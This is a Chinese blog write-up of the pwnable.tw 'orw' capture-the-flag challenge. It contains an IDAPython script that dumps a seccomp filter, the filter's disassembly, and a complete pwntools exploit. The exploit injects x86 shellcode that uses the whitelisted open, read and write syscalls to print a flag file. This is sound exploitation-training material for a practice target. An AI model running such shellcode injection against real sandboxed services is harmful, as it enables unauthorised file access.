pwnable.tw orw writeup

原创

Anciety 于 2017-09-27 09:08:32 发布 1510 收藏

分类专栏： ctf

本文链接：https://blog.csdn.net/qq_29343201/article/details/78109066

题目

题目比较简单就不复制了，首先seccomp设置了白名单，然后输入0xc8长度shellcode，直接跳到shellcode执行。

分析

既然是练习，就要彻底一点。

首先是seccomp dump的问题，目前采用的方法是IDApython脚本dump数据下来，然后输入scmp_bpf_disasm。IDApython的文档非常诡异，函数没有说明，函数的参数也不能直接看出来，所以搜了很长时间找了一个别人的。。

dump 脚本：

```
import idaapi

start_address = 0x8048640
data_length = 0x80486a0 - start_address
data = idaapi.get_many_bytes(start_address, data_length)
fp = open('/home/anciety/orw/orw.bpf', 'wb')
print(data)
fp.write(data)
fp.close()
print("done")
```

dump之后直接重定向至scmp_bpf_disasm就可以看到bpf的反汇编了：

```
[anciety@anciety-pc orw]$ scmp_bpf_disasm < orw.bpf
 line  OP   JT   JF   K
=================================
 0000: 0x20 0x00 0x00 0x00000004   ld  $data[4]
 0001: 0x15 0x00 0x09 0x40000003   jeq 1073741827 true:0002 false:0011
 0002: 0x20 0x00 0x00 0x00000000   ld  $data[0]
 0003: 0x15 0x07 0x00 0x000000ad   jeq 173  true:0011 false:0004
 0004: 0x15 0x06 0x00 0x00000077   jeq 119  true:0011 false:0005
 0005: 0x15 0x05 0x00 0x000000fc   jeq 252  true:0011 false:0006
 0006: 0x15 0x04 0x00 0x00000001   jeq 1    true:0011 false:0007
 0007: 0x15 0x03 0x00 0x00000005   jeq 5    true:0011 false:0008
 0008: 0x15 0x02 0x00 0x00000003   jeq 3    true:0011 false:0009
 0009: 0x15 0x01 0x00 0x00000004   jeq 4    true:0011 false:0010
 0010: 0x06 0x00 0x00 0x00050026   ret ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
```

从这里可以看出来是白名单，以及允许的系统调用（虽然我们其实从题目就可以知道了）。

之后就是写shellcode了，这里使用了`keystone-engine`，具体看exp就好了。

exp

```python
import sys
from pwn import *
from keystone import *
context(os='linux', arch='i386', log_level='debug')

GDB = 1
if len(sys.argv) > 2:
    p = remote(sys.argv[1], int(sys.argv[2]))
else:
    p = process("./orw")

def main():
    if GDB:
        raw_input()
    ks = Ks(KS_ARCH_X86, KS_MODE_32)
    shellcode = """
    mov eax, 3
    xor ebx, ebx
    mov ecx, 0x0804a000
    mov edx, 0x10
    int 0x80

    mov eax, 5
    mov ebx, 0x804a000
    xor ecx, ecx
    xor edx, edx
    int 0x80

    mov ebx, eax
    mov eax, 3
    mov ecx, 0x804a000
    mov edx, 0x40
    int 0x80

    mov eax, 4
    mov ebx, 1
    mov ecx, 0x804a000
    mov edx, 0x40
    int 0x80
    """
    try:
        encoding, count = ks.asm(shellcode)
        print('count {}'.format(count))
    except KsError as e:
        print("Error: {}".format(e))
    p.recvuntil('shellcode:')
    p.send(''.join(map(chr, encoding)))

    raw_input()
    p.send('/home/orw/flag\x00')

    p.interactive()

if __name__ == "__main__":
    main()
```